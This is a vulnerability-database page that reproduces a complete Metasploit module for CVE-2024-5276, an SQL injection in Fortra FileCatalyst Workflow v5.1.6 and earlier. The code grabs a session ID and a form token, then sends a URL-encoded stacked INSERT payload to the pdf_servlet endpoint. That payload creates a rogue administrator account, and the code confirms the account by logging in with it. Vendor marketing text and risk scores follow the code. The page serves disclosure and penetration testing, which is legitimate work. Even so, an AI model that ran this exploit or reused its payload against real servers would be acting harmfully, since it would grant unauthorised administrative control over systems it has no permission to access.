Lucene search
K

Fortra FileCatalyst Workflow SQL Injection

🗓️ 31 Aug 2024 00:00:00Reported by Michael Heinzl, Tenable, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 406 Views

Exploit SQL injection in Fortra FileCatalyst Workflow v5.1.

Related
Code
`require 'digest/md5'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)',  
'Description' => %q{  
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new  
administrative user to the web interface of the application.  
},  
'Author' => [  
'Tenable', # Discovery and PoC  
'Michael Heinzl' # MSF Module  
],  
'References' => [  
['CVE', '2024-5276'],  
['URL', 'https://www.tenable.com/security/research/tra-2024-25'],  
['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0']  
],  
'DisclosureDate' => '2024-06-25',  
'DefaultOptions' => {  
'RPORT' => 8080  
},  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),  
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]),  
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])  
])  
end  
  
def run  
print_status('Starting SQL injection workflow...')  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'workflow/')  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')  
end  
print_good('Server reachable.')  
  
raw_res = res.to_s  
unless raw_res =~ /JSESSIONID=(\w+);/  
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')  
end  
  
jsessionid = ::Regexp.last_match(1)  
print_status("JSESSIONID value: #{jsessionid}")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),  
'headers' => {  
'Cookie' => "JSESSIONID=#{jsessionid}"  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
body = res.body  
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/  
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')  
end  
  
token_value = ::Regexp.last_match(1)  
print_status("FCWEB.FORM.TOKEN value: #{token_value}")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),  
'headers' => {  
'Cookie' => "JSESSIONID=#{jsessionid}"  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.headers['Location']  
fail_with(Failure::UnexpectedReply, 'Location header not found.')  
end  
  
location_value = res.headers['Location']  
print_status("Redirect #1: #{location_value}")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, location_value.to_s),  
'headers' => {  
'Cookie' => "JSESSIONID=#{jsessionid}"  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.headers['Location']  
fail_with(Failure::UnexpectedReply, 'Location header not found.')  
end  
  
location_value = res.headers['Location']  
print_status("Redirect #2: #{location_value}")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, location_value.to_s),  
'headers' => {  
'Cookie' => "JSESSIONID=#{jsessionid}"  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
html = res.get_html_document  
h2_tag = html.at_css('h2')  
  
unless h2_tag  
fail_with(Failure::UnexpectedReply, 'h2 tag not found.')  
end  
  
h2_text = h2_tag.text.strip  
unless h2_text == 'Choose an Order Type'  
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)  
end  
  
print_status('Received expected response.')  
  
t = Time.now  
username = datastore['NEW_USERNAME']  
password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase  
email = datastore['NEW_EMAIL']  
firstname = Faker::Name.first_name  
lastname = Faker::Name.last_name  
areacode = rand(100..999)  
exchangecode = rand(100..999)  
subscribernumber = rand(1000..9999)  
phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d',  
areacode: areacode,  
exchangecode: exchangecode,  
subscribernumber: subscribernumber)  
creation = "+#{t.strftime('%s%L')}"  
pw_creationdate = "+#{t.strftime('%s%L')}"  
lastlogin = "+#{t.strftime('%s%L')}"  
  
vprint_status('Adding New Admin User:')  
vprint_status("\tUsername: #{username}")  
vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})")  
vprint_status("\tEmail: #{email}")  
vprint_status("\tFirstName: #{firstname}")  
vprint_status("\tLastName: #{lastname}")  
vprint_status("\tPhone: #{phone}")  
vprint_status("\tCreation: #{creation}")  
vprint_status("\tPW_CreationDate: #{pw_creationdate}")  
vprint_status("\tLastLogin: #{lastlogin}")  
  
payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \  
'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \  
'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \  
'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \  
'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \  
'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \  
"PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \  
"%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \  
'%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \  
"%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \  
'%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \  
'%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \  
"%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-"  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"),  
'headers' => {  
'Cookie' => "JSESSIONID=#{jsessionid}"  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == ''  
print_good('SQL injection successful!')  
  
print_status('Confirming credentials...')  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),  
'headers' => {  
'Cookie' => "JSESSIONID=#{jsessionid}"  
}  
)  
  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res  
  
body = res.body  
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/  
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')  
end  
  
token_value = ::Regexp.last_match(1)  
print_status("FCWEB.FORM.TOKEN value: #{token_value}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),  
'headers' => {  
'Cookie' => "JSESSIONID=#{jsessionid}",  
'Content-Type' => 'application/x-www-form-urlencoded'  
},  
'vars_post' => {  
'username' => datastore['NEW_USERNAME'],  
'password' => datastore['NEW_PASSWORD'],  
'FCWEB.FORM.TOKEN' => token_value.to_s,  
'submit' => 'Login'  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
html = res.get_html_document  
title_block = html.at_css('.titleBlock')  
  
unless title_block  
fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')  
end  
title_text = title_block.text.strip  
  
unless title_text.include?('Administration')  
fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')  
end  
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)  
print_good('Login successful!')  
  
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")  
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}")  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.19.1 - 9.8
EPSS0.87417
SSVC
406